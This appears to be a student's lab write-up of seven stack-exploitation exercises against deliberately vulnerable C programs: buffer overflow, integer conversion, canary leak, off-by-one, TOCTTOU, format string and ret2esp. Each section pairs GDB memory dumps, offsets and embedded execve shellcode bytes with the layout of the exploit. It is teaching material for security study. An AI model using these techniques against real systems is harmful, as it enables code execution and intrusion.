Question 1: Remus Write-up

Main Idea

(A description of the vulnerability) The code is vulnerable because `gets(buf)` does not check the length of the input from the user, which lets an attacker write past the end of the buffer. We insert shellcode above the saved return address on the stack (rip) and overwrite the rip with the address of shellcode.

Magic Numbers

(How any relevant "magic numbers" were determined, usually with GDB) We first determined the address of the buffer (0xbffffc18) and the address of the rip of the orbit function (0xbffffc2c). This was done by invoking GDB and setting a breakpoint at line 5.

```
(gdb) x/16x buf
0xbffffc18:  0x41414141  0xb7e5f200  0xb7fed270  0x00000000
0xbffffc28:  0xbffffc18  0x0804842a  0x08048440  0x00000000
0xbffffc38:  0x00000000  0xb7e454d3  0x00000001  0xbffffcb4
0xbffffc48:  0xbffffcbc  0xb7fdc858  0x00000000  0xbffffc1c

(gdb) i f
Stack frame at 0xbffffc10:
 eip = 0x804841d in orbit (orbit.c:8); saved eip 0x804842a
 called by frame at 0xbffffc40
 source language c.
 Arglist at 0xbffffc28, args:
 Locals at 0xbffffc28, Previous frame's sp is 0xbffffc30
 Saved registers:
  ebp at 0xbffffc28, eip at 0xbffffc2c
```

By doing so, we learned that the location of the return address from this function was 20 bytes away from the start of the buffer (0xbffffc2c - 0xbffffc18 = 20).

Exploit Structure

(A description of your exploit structure) Here is the stack diagram (You don't need a stack diagram in your writeup).

```
rip (0xbffffc2c)
sfp
compiler padding
buf (0xbffffc18)
```

The exploit has three parts:

1. Write 20 dummy characters to overwrite buf, the compiler padding, and the sfp.
2. Overwrite the rip with the address of shellcode. Since we are putting shellcode directly after the rip, we overwrite the rip with 0xbffffc30 (0xbffffc2c + 4).
3. Finally, insert the shellcode directly after the rip.

This causes the orbit function to start executing the shellcode at address 0xbffffc30 when it returns.

Exploit GDB Output

(GDB output demonstrating the before/after of the exploit working) When we ran GDB after inputting the malicious exploit string, we got the following output:

```
(gdb) x/16x buf
0xbffffc18:  0x61616161  0x61616161  0x61616161  0x61616161
0xbffffc28:  0x61616161  0xbffffc30  0xcd58326a 0x89c38980
0xbffffc38:  0x58476ac1  0xc03180cd  0x2f2f6850  0x2f686873
0xbffffc48:  0x546e6962  0x8953505b  0xb0d231e1  0x0080cd0b
```

After 20 bytes of garbage (blue), the rip is overwritten with 0xbffffc30 (red), which points to the shellcode directly after the rip (green).

Note: you don't need to color-code your gdb output in your writeup.

Question 2: Spica Write-up

Main Idea

(A description of the vulnerability) The code is vulnerable because of a type mismatch between a signed int and an unsigned int. This code involves a bound check however it can be easily bypassed if the attacker provides a negative number. In the following code, if we pass in an negative number for `size`, the bound check is of no use and when it reaches `fread`, the function expects a size of unsigned int, however, a signed int `size` is provided. C silently typecasts it to an unsigned int after which it becomes a huge positive number and through this vulnerability we can overwrite anything above msg.

```
size_t bytes_read = fread(&size, 1, 1, file);
if (bytes_read == 0 || size > 128)
    return;
bytes_read = fread(msg, 1, size, file);
```

This is a Integer Conversion Vulenrability.

Magic Numbers

(How any relevant "magic numbers" were determined, usually with GDB) We first determined the address of `msg` (0xffffd568) and the address of rip of `display` function (0xffffd5fc). This was done by invoking GDB and setting a breakpoint on line 7.

```
(gdb) x/64x msg
0xffffd568:     0x00000001      0x00000000      0x00000002      0x00000000
0xffffd578:     0x00000000      0x00000000      0x00000000      0x08048034
0xffffd588:     0x00000020      0x00000006      0x00001000      0x00000000
0xffffd598:     0x00000000      0x0804904a      0x00000000      0x000003ea
0xffffd5a8:     0x000003ea      0x000003ea      0x000003ea      0xffffd78b
0xffffd5b8:     0x0fcbfbfd      0x00000064      0x00000000      0x00000000
0xffffd5c8:     0x00000000      0x00000000      0x00000000      0x00000001
0xffffd5d8:     0x00000000      0xffffd77b      0x00000002      0x00000000
0xffffd5e8:     0x00000000      0x00000000      0x00000000      0xffffdfe2
0xffffd5f8:     0xffffd618      0x080492bd      0xffffd7ab      0x00000000
0xffffd608:     0x00000000      0x00000000      0x00000000      0xffffd630
0xffffd618:     0xffffd6b0      0x08049494      0x00000002      0x0804928d
0xffffd628:     0x0804cfe8      0x08049494      0x00000002      0xffffd6a4
0xffffd638:     0xffffd6b0      0x0804b008      0x00000000      0x00000000
0xffffd648:     0x08049472      0x0804cfe8      0x00000000      0x00000000
0xffffd658:     0x00000000      0x08049097      0x0804928d      0x00000002
```

```
(gdb) i f
Stack level 0, frame at 0xffffd600:
 eip = 0x80491ee in display (telemetry.c:8); saved eip = 0x80492bd
 called by frame at 0xffffd630
 source language c.
 Arglist at 0xffffd5f8, args: path=0xffffd7ab "navigation"
 Locals at 0xffffd5f8, Previous frame's sp is 0xffffd600
 Saved registers:
  ebp at 0xffffd5f8, eip at 0xffffd5fc
```

By doing so, we learned that the location of the rip of this function was 148 bytes above the start of `msg` (0xffffd5fc - 0xffffd568 = 94 in hex = 148 in decimal).

Exploit Structure

(A description of your exploit structure) The exploit has four parts: 1. Insert a one byte negative number (0xff) which is read into `size` to get around the bound check 2. Write 148 bytes of dummy characters to overwrite everything in between rip of `display` and start of `msg`: `msg`, compiler padding, and the sfp. 3. Overwrite the rip with the address of the shellcode. Since we are putting shellcode directly after the rip, we overwrite the rip with 0xffffd600

(0xffffd5fc + 4). 4. Finally, insert the shellcode directly above the rip. This causes the `telemetry` program to execute the shellcode when it returns from `display` function.

Exploit GDB Output

(GDB output demonstrating the before/after of the exploit working) When we ran GDB after inputting the malicious string, we got the following output:

```
(gdb) x/64x msg
0xffffd568:     0x41414141      0x41414141      0x41414141      0x41414141
0xffffd578:     0x41414141      0x41414141      0x41414141      0x41414141
0xffffd588:     0x41414141      0x41414141      0x41414141      0x41414141
0xffffd598:     0x41414141      0x41414141      0x41414141      0x41414141
0xffffd5a8:     0x41414141      0x41414141      0x41414141      0x41414141
0xffffd5b8:     0x41414141      0x41414141      0x41414141      0x41414141
0xffffd5c8:     0x41414141      0x41414141      0x41414141      0x41414141
0xffffd5d8:     0x41414141      0x41414141      0x41414141      0x41414141
0xffffd5e8:     0x000000c0      0x41414141      0x41414141      0x41414141
0xffffd5f8:     0x41414141      0xffffd600      0xcd58326a      0x89c38980
0xffffd608:     0x58476ac1      0xc03180cd      0x2f2f6850      0x2f686873
0xffffd618:     0x546e6962      0x8953505b      0xb0d231e1      0x0a80cd0b
0xffffd628:     0x0804cfe8      0x08049494      0x00000002      0xffffd6a4
0xffffd638:     0xffffd6b0      0x0804b008      0x00000000      0x00000000
0xffffd648:     0x08049472      0x0804cfe8      0x00000000      0x00000000
0xffffd658:     0x00000000      0x08049097      0x0804928d      0x00000002
```

After 148 bytes of garbage, the rip is overwritten with 0xffffd600 which points to the shellcode directly above the rip.

Question 3: Polaris Write-up

Main Idea

(A description of the vulnerability) For this problem, stack canaries were enabled which prevented us from a simple buffer overflow attack. However, the first while loop inside the `dehexify` function allowed us to leak the stack canary and after which we were able to attack this program using the same technique we used for a simple buffer overflow attack except by also adding the stack canary onto it to make it seem like the stack canary remained unchanged (which didn't exit the program).

Magic Numbers

(How any relevant "magic numbers" were determined, usually with GDB) We first determined the address of buffer (0xffffd5ec) and the address of the rip of `dehexify` function (0xffffd60c). This was done by invoking GDB and setting a breakpoint at line 17.

```
(gdb) x/16x c.buffer
0xffffd5ec:     0x41414141      0x41414141      0x41414141      0x0800785c
0xffffd5fc:     0xd1cd93b5      0x0804d020      0x00000000      0xffffd618
0xffffd60c:     0x08049341      0x00000000      0xffffd630      0xffffd6ac
0xffffd61c:     0x0804952a      0x00000001      0x08049329      0x0804cfe8

(gdb) i f
Stack level 0, frame at 0xffffd610:
 eip = 0x8049245 in dehexify (dehexify.c:22); saved eip = 0x8049341
 called by frame at 0xffffd630
 source language c.
 Arglist at 0xffffd608, args:
 Locals at 0xffffd608, Previous frame's sp is 0xffffd610
 Saved registers:
  ebp at 0xffffd608, eip at 0xffffd60c
```

By doing so we learned that

Exploit Structure

(A description of your exploit structure) This exploit has five parts: 1. Write 32 garbage characters to overwrite the `struct c` which includes `c.buffer` and `c.answer` both 16 bytes each. 2. Above the `struct c` lies the stack canary and we want it to remain the same. We successfully leaked the stack canary by exploiting a vulnerability inside the while loop of `dehexify` function and so we use that leaked canary here. 3. Write 12 more garbage characters to overwrite compiler padding and the sfp of `dehexify`. 4. Overwrite the rip of dehexify with the address of shellcode which lies directly above rip (rip + 4 = 0xffffd60c + 4 = 0xffffd610). 5. Finally, insert the shellcode directly above the rip.

Exploit GDB Output

(GDB output demonstrating the before/after of the exploit working) When we ran GDB after inputting the malicious exploit string, we got the following output:

```
(gdb) x/16x c.buffer
0xffffd5ec:     0x41414141      0x41414141      0x41414141      0x41414141
0xffffd5fc:     0x4bb779e1      0x41414141      0x41414141      0x41414141
0xffffd60c:     0xffffd610      0xdb31c031      0xd231c931      0xb05b32eb
0xffffd61c:     0xcdc93105      0xebc68980      0x3101b006      0x8980cddb
```

The address of rip (0xffffd60c) is successfully overwritten with 0xffffd610 which points to the shellcode right next to it.

Question 4: Vega Write-up

Main Idea

(A description of the vulnerability) The code is vulnerable because `flip` function uses `<=` instead of `<` which allows us to write n + 1 byte instead of n, overflowing the byte immediately after the `buf`. Sfp of `flip` is right above `buf` so we can change the least significant byte of sfp such that it points back to the `buf` which we can fill up with the address of shellcode. After sfp reroutes to `buf`, it will pick up the address of shellcode and executes it.

```
char buf[64];
...
...
for (i = 0; i < n && i <= 64; ++i)
    buf[i] = input[i] ^ 0x20;
```

This is a off-by-one vulnerability.

Magic Numbers

(How any relevant "magic numbers" were determined, usually with GDB) We first determined the address of our shellcode (0xffffdfaa + 4 = 0xffffdfae) which is located around the top of the stack as an environment variable. We add 4 to it because first four bytes of that environment variable is 'EGG='.

```
(gdb) print ((char **) environ)[4]
$1 = 0xffffdfaa "EGG=j2X̄\211É\301jGX̄1\300Ph//shh/binT[PS\211\341\061 \v̀"
(gdb) x/2wx 0xffffdfaa
0xffffdfaa:     0x3d474745      0xcd58326a
```

We then determine the address of `buf` (0xffffd570) and the address of rip of `invoke` (0xffffd5b4). Finding the addresses was done through invoking GDB and setting a breakpoint at line 17.

```
(gdb) x/32x buf
0xffffd570:     0x00000000      0x00000001      0x00000000      0xffffd71b
0xffffd580:     0x00000002      0x00000000      0x00000000      0x00000000
0xffffd590:     0x00000000      0xffffdfe5      0xf7ffc540      0xf7ffc000
0xffffd5a0:     0x00000000      0x00000000      0x00000000      0x00000000
0xffffd5b0:     0xffffd5bc      0x0804927a      0xffffd751      0xffffd5c8
0xffffd5c0:     0x0804929e      0xffffd751      0xffffd650      0x0804946f
0xffffd5d0:     0x00000002      0xffffd644      0xffffd650      0x0804a000
0xffffd5e0:     0x00000000      0x00000000      0x0804944d      0x0804bfe8

(gdb) i f
Stack level 0, frame at 0xffffd5b8:
 eip = 0x8049251 in invoke (flipper.c:17); saved eip = 0x804927a
```

```
called by frame at 0xffffd5c4
source language c.
Arglist at 0xffffd5b0, args: in=0xffffd751 "AAAA\216\377\337\337", 'A' <repeats 56 times>,
Locals at 0xffffd5b0, Previous frame's sp is 0xffffd5b8
Saved registers:
 ebp at 0xffffd5b0, eip at 0xffffd5b4
```

The sfp of `invoke` is located below rip at 0xffffd5b0 with value 0xffffd5bc. To make it point to the start of `buf`, we have to change the least significant byte bc (0xffffd5bc) to 70 (0xffffd570). Because each byte is xored with 0x20 before overwriting to the `buf`, 0x50 does the job. 0x20 ^ 0x50 = 0x70

Exploit Structure

(A description of your exploit structure) This exploit has four parts: 1. Write 4 bytes of garbage to account for sfp popoff. 2. Overwrite the next 4 bytes with the address of shellcode. 3. Write 56 bytes of garbage to pad rest of `buf`. 4. Overwrite the least significant byte of the sfp of `invoke` to make it point back to `buf` (0xffffd570).

Exploit GDB Output

(GDB output demonstrating the before/after of the exploit working) When we ran GDB after inputting the malicious exploit string, we got the following output:

```
(gdb) x/32x buf
0xffffd570:     0x61616161      0xffffdfae      0x61616161      0x61616161
0xffffd580:     0x61616161      0x61616161      0x61616161      0x61616161
0xffffd590:     0x61616161      0x61616161      0x61616161      0x61616161
0xffffd5a0:     0x61616161      0x61616161      0x61616161      0x61616161
0xffffd5b0:     0xffffd570      0x0804927a      0xffffd751      0xffffd5c8
0xffffd5c0:     0x0804929e      0xffffd751      0xffffd650      0x0804946f
0xffffd5d0:     0x00000002      0xffffd644      0xffffd650      0x0804a000
0xffffd5e0:     0x00000000      0x00000000      0x0804944d      0x0804bfe8
```

After 4 bytes of garbage, address of shellcode is successfully inserted into the buffer, 56 more bytes of garbage to pad rest of buffer and the sfp of `invoke` at 0xffffd5b0 points back to the start of the `buf` (0xffffd570) which causes our program to go back to buf, pick up the address of shellcode and start executing it.

Question 5: Deneb Write-up

Main Idea

(A description of the vulnerability) The code is vulnerable because between the bound check of the file (if it is too large) and the use of that file when it is read (`read` function), the state of the file can be changed.

```
if (file_is_too_big(fd)) EXIT_WITH_ERROR("File too big!");

printf("How many bytes should I read? ");
fflush(stdout);
if (scanf("%u", &bytes_to_read) != 1)
EXIT_WITH_ERROR("Could not read the number of bytes to read!");

ssize_t bytes_read = read(fd, buf, bytes_to_read);
if (bytes_read == -1) EXIT_WITH_ERROR("Could not read!");
```

This is a Time-Of-Check To Time-Of-Use (TOCTTOU) vulnerability.

Magic Numbers

(How any relevant "magic numbers" were determined, usually with GDB) We first determined the address of the `buf` (0xffffd598) and the address of rip of `read_file` (0xffffd62c).This was done by invoking GDB and setting a breakpoint at line 30.

```
(gdb) x/64x buf
0xffffd598:     0x00000020      0x00000006      0x00001000      0x00000000
0xffffd5a8:     0x00000000      0x0804904a      0x00000000      0x000003ed
0xffffd5b8:     0x000003ed      0x000003ed      0x000003ed      0xffffd79b
0xffffd5c8:     0x0fcbfbfd      0x00000064      0x00000000      0x00000000
0xffffd5d8:     0x00000000      0x00000000      0x00000000      0x00000001
0xffffd5e8:     0x00000000      0xffffd78b      0x00000002      0x00000000
0xffffd5f8:     0x00000000      0x00000000      0x00000000      0xffffdfe6
0xffffd608:     0xf7ffc540      0xf7ffc000      0x00000000      0x00000000
0xffffd618:     0x00000000      0x00000000      0x00000000      0x00000000
0xffffd628:     0xffffd638      0x0804939c      0x00000001      0x08049391
0xffffd638:     0xffffd6bc      0x0804956a      0x00000001      0xffffd6b4
0xffffd648:     0xffffd6bc      0x080510a1      0x00000000      0x00000000
0xffffd658:     0x08049548      0x08053fe8      0x00000000      0x00000000
0xffffd668:     0x00000000      0x08049097      0x08049391      0x00000001
0xffffd678:     0xffffd6b4      0x08049000      0x08050b19      0x00000000
0xffffd688:     0x00000000      0x00000000      0x00000000      0x0804906b

(gdb) i f
Stack level 0, frame at 0xffffd630:
 eip = 0x8049238 in read_file (orbit.c:30); saved eip = 0x804939c
```

```
called by frame at 0xffffd640
source language c.
Arglist at 0xffffd628, args:
Locals at 0xffffd628, Previous frame's sp is 0xffffd630
Saved registers:
 ebp at 0xffffd628, eip at 0xffffd62c
```

Exploit Structure

(A description of your exploit structure) The exploit has three parts: 1. Write 148 dummy characters to overwrite `buf`, compiler padding and the sfp of `read_file` 2. Overwrite the rip of `read_file` with the address of the shellcode. Since we are putting our shellcode right after the rip, the address would be rip + 4 = 0xffffd62c + 4 = 0xffffd630 3. Finally, insert the shellcode right after the rip. This causes the shellcode at 0xffffd630 to execute after the `read_file` function returns.

Exploit GDB Output

(GDB output demonstrating the before/after of the exploit working) When we ran GDB after inputting the malicious exploit string, we got the following output:

```
(gdb) x/64x buf
0xffffd598:     0x41414141      0x41414141      0x41414141      0x41414141
0xffffd5a8:     0x41414141      0x41414141      0x41414141      0x41414141
0xffffd5b8:     0x41414141      0x41414141      0x41414141      0x41414141
0xffffd5c8:     0x41414141      0x41414141      0x41414141      0x41414141
0xffffd5d8:     0x41414141      0x41414141      0x41414141      0x41414141
0xffffd5e8:     0x41414141      0x41414141      0x41414141      0x41414141
0xffffd5f8:     0x41414141      0x41414141      0x41414141      0x41414141
0xffffd608:     0x41414141      0x41414141      0x41414141      0x41414141
0xffffd618:     0x000000e0      0x41414141      0x41414141      0x41414141
0xffffd628:     0x41414141      0xffffd630      0xdb31c031      0xd231c931
0xffffd638:     0xb05b32eb      0xcdc93105      0xebc68980      0x3101b006
0xffffd648:     0x8980cddb      0x8303b0f3      0x0c8d01ec      0xcd01b224
0xffffd658:     0x39db3180      0xb0e674c3      0xb202b304      0x8380cd01
0xffffd668:     0xdfeb01c4      0xffffc9e8      0x414552ff      0x00454d44
0xffffd678:     0xffffd600      0x08049000      0x08050b19      0x00000000
0xffffd688:     0x00000000      0x00000000      0x00000000      0x0804906b
```

After 148 bytes of garbage, the rip is overwritten with 0xffffd630, which points to the shellcode directly after the rip.

Question 6: Antares Write-up

Main Idea

(A description of the vulnerability) The code is vulnerable because no format string is passed into `printf(buf)` and we can control `buf`. We can pass in format string specifiers into `buf` where we can read and write from memory and take control of the program. More specifically, we overwrite the rip of `calibrate` with the address of our malicious shellcode after which we get the program to do what we want it to do.

```
printf(buf);
```

This is a format string vulnerability.

Magic Numbers

(How any relevant "magic numbers" were determined, usually with GDB) We first determine the address of the shellcode (0xffffd78a). This was done by invoking GDB, setting breakpoint at line 15 and printing out the `argv[1]`.

```
(gdb) p argv[1]
$22 = 0xffffd78a "j2X̄\211É\301jGX̄1\300Ph//shh/binT[PS\211\341\061 \v̂"
(gdb) x/2wx 0xffffd78a
0xffffd78a:     0xcd58326a      0x89c38980
```

We then find the address of `buf` (0xffffd570) and rip of `calibrate` (0xffffd55c). This is done running GDB and setting breakpoint at line 8.

```
(gdb) i f
Stack level 0, frame at 0xffffd560:
 eip = 0x8049214 in calibrate (calibrate.c:7); saved eip = 0x804928f
 called by frame at 0xffffd610
 source language c.
 Arglist at 0xffffd558, args: buf=0xffffd570 "AAAA____AAAA____%0u%hn%0u%hn\n"
 Locals at 0xffffd558, Previous frame's sp is 0xffffd560
 Saved registers:
  ebp at 0xffffd558, eip at 0xffffd55c
```

Finally, we calculate the number of words we need to move to point the arg[i] pointer of `printf` to start of `buf`. This was done through taking the difference between the address of start of `buf` (0xffffd570) and rip of `printf` (0xffffd52c). 0xffffd570 - 0xffffd52c = 44 in hex = 68 in decimal. 68 / 4 = 17 words. Since initially the arg[i] pointer of `printf` starts 8 bytes above rip of `printf` we subtract 2 words from 17. Thus we need to skip 15 words before the arg[i] pointer reaches start of `buf`.

```
(gdb) x/16x buf
0xffffd570:     0x41414141      0xffffd55c      0x41414141      0xffffd55e
```

```
0xffffd580:     0x63256325      0x63256325      0x63256325      0x63256325
0xffffd590:     0x63256325      0x63256325      0x63256325      0x35256325
0xffffd5a0:     0x37343135      0x6e682575      0x33303125      0x25753735

(gdb) si
printf (
    fmt=0xffffd570 "AAAA\\\325\377\377AAAA^\325\377\377%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%55147u
(gdb) i f
Stack level 0, frame at 0xffffd530:
 eip = 0x8049abe in printf (src/stdio/printf.c:8); saved eip = 0x804922f
 called by frame at 0xffffd560
 source language c.
 Arglist at 0xffffd528, args:
    fmt=0xffffd570 "AAAA\\\325\377\377AAAA^\325\377\377%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%55147u
 Locals at 0xffffd528, Previous frame's sp is 0xffffd530
 Saved registers:
  eip at 0xffffd52c
```

Exploit Structure

(A description of your exploit structure) We essentially want to overwrite the rip of `calibrate` with the address of shellcode. This is done in multiple parts: 1. First, skip past 15 words to point arg[i] pointer of `printf` to the start of `buf` because that is where we can control the input. 2. We then print out 0xd78a number of bytes to be able to overwrite the rip of `calibrate` with the address of the shellcode. We then write to the memory at 0xffffd55c using %hn. 3. After, we print out remaining bytes to reach 0xffff (0xffff - 0xd78a) because we want to complete the address of shellcode by writing it to the second half of rip of calibrate at 0xffffd55e to complete the overwrite. We wrote to memory using %hn instead of %n because 0xffffd78a = 4294956937 in decimal is a lot of bytes to print out and write to which can cause the program to crash. So we split it in half 0xffff = 65535 and 0xd78a = 55178.

This causes the `calibrate` funciton to start executing the shellcode when it returns.

Exploit GDB Output

(GDB output demonstrating the before/after of the exploit working) When we ran GDB after inputting the malicious exploit string, we got the following output:

```
(gdb) i f
Stack level 0, frame at 0xffffd560:
 eip = 0x8049232 in calibrate (calibrate.c:9); saved eip = 0xffffd78a
 called by frame at 0xffffd600
 source language c.
```

```
 Arglist at 0xffffd558, args:
    buf=0xffffd570 "AAAA\\\325\377\377AAAA^\325\377\377%c%c%c%c%c%c%c%c%c%c%c%c%c%c%55147u
 Locals at 0xffffd558, Previous frame's sp is 0xffffd560
 Saved registers:
  ebp at 0xffffd558, eip at 0xffffd55c
```

The rip of `calibrate` at 0xffffd55c is successfully overwritten with the address of shellcode (0xffffd78a).

Question 7: Rigel Write-up

Main Idea

(A description of the vulnerability) This code is vulnerable because it contains the address of `jmp    *%esp` inside the `magic` function which reveals the secret ingredient to `ret2esp` attack.

Address space layout randomization (ASLR) is enabled, however, we were able to get around it with `ret2esp` attack.

Magic Numbers

(How any relevant "magic numbers" were determined, usually with GDB) We first determined the address of `buf` (0xffe8d588) and the address of rip of `orbit` function (0xffe8d59c). This was done by invoking GDB and setting a breakpoint at line 13.

```
(gdb) i f
Stack level 0, frame at 0xffe8d5a0:
 eip = 0x804922a in orbit (orbit.c:13); saved eip = 0x8049247
 called by frame at 0xffe8d5b0
 source language c.
 Arglist at 0xffe8d598, args:
 Locals at 0xffe8d598, Previous frame's sp is 0xffe8d5a0
 Saved registers:
  ebp at 0xffe8d598, eip at 0xffe8d59c
(gdb) x/16x buf
0xffe8d588:     0x00000000      0x00000000      0x00000000      0x00000000
0xffe8d598:     0xffe8d5a8      0x08049247      0x00000001      0x0804923c
0xffe8d5a8:     0xffe8d62c      0x08049415      0x00000001      0xffe8d624
0xffe8d5b8:     0xffe8d62c      0x0804a000      0x00000000      0x00000000
```

ASLR randomizes the addresses, however, the relative distance between the rip of `orbit` function and `buf` stays the same. By finding out the addresses, we learned that `buf` is 20 bytes below rip of `orbit` (0xffe8d59c - 0xffe8d588 = 14 in hex = 20 in decimal).

We then determined the address of `jmp *%esp` (0x080491fd). This was done through invoking GDB and using gdb command `disas`.

```
(gdb) disas magic
Dump of assembler code for function magic:
   0x080491e5 <+0>:     push   %ebp
   0x080491e6 <+1>:     mov    %esp,%ebp
   0x080491e8 <+3>:     mov    0xc(%ebp),%eax
   0x080491eb <+6>:     shl    $0x3,%eax
   0x080491ee <+9>:     xor    %eax,0x8(%ebp)
   0x080491f1 <+12>:    mov    0x8(%ebp),%eax
   0x080491f4 <+15>:    shl    $0x3,%eax
   0x080491f7 <+18>:    xor    %eax,0xc(%ebp)
   0x080491fa <+21>:    orl    $0xe4ff,0x8(%ebp)
   0x08049201 <+28>:    mov    0xc(%ebp),%ecx
   0x08049204 <+31>:    mov    $0x3e0f83e1,%edx
   0x08049209 <+36>:    mov    %ecx,%eax
   0x0804920b <+38>:    mul    %edx
   0x0804920d <+40>:    mov    %edx,%eax
   0x0804920f <+42>:    shr    $0x4,%eax
   0x08049212 <+45>:    imul   $0x42,%eax,%edx
   0x08049215 <+48>:    mov    %ecx,%eax
   0x08049217 <+50>:    sub    %edx,%eax
   0x08049219 <+52>:    mov    %eax,0xc(%ebp)
   0x0804921c <+55>:    mov    0x8(%ebp),%eax
   0x0804921f <+58>:    and    0xc(%ebp),%eax
   0x08049222 <+61>:    pop    %ebp
   0x08049223 <+62>:    ret
End of assembler dump.
(gdb) x/i 0x080491fd
   0x80491fd <magic+24>:        jmp    *%esp
```

Exploit Structure

(A description of your exploit structure) This exploit has three parts: 1. Write 20 bytes of dummy characters to overwrite the `buf`, compiler padding and sfp of `orbit`. 2. Overwrite the rip of `orbit` with the address of `jmp *%esp`. This will direct the program to the esp which moves to address right after the rip of `orbit`. 3. Insert the shellcode right after the rip of `orbit`. This causes the shellcode to run after it returns from the `orbit` function.

Exploit GDB Output

(GDB output demonstrating the before/after of the exploit working) When we ran GDB after inputting the malicious exploit string, we got the following output:

```
(gdb) x/16x buf
0xffa308c8:     0x41414141      0x41414141      0x41414141      0x41414141
0xffa308d8:     0x41414141      0x080491fd      0xcd58326a      0x89c38980
0xffa308e8:     0x58476ac1      0xc03180cd      0x2f2f6850      0x2f686873
0xffa308f8:     0x546e6962      0x8953505b      0xb0d231e1      0x0080cd0b
```

After 20 bytes of garbage is the address of `jmp *%esp` instruction which directs the program to esp where our shellcode is inserted.